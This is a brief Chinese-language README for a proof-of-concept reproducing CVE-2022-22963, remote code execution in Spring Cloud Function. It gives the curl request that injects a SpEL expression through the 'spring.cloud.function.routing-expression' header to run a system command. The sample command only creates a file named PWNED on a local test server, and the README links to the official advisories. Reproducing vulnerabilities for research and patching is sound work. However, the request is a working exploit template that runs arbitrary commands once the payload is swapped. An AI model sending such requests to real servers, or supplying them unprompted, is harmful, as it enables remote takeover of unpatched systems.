CVE-2022-22963 远程代码执行 PoC

在 org.springframework.cloud:spring-cloud-function-core 中重现 CVE-2022-22963 远程代码执行的最小示例。

漏洞利用

运行服务器

mvn spring-boot:run

发送请求

curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter

作为漏洞利用的结果，文件 PWNED 将被创建在 pom.xml 附近。

附加信息

• 原始公告：https://tanzu.vmware.com/security/cve-2022-22963
• Snyk 公告：https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645
• 此 PoC 基于：https://github.com/Pizz33/Spring-Cloud-Function-SpEL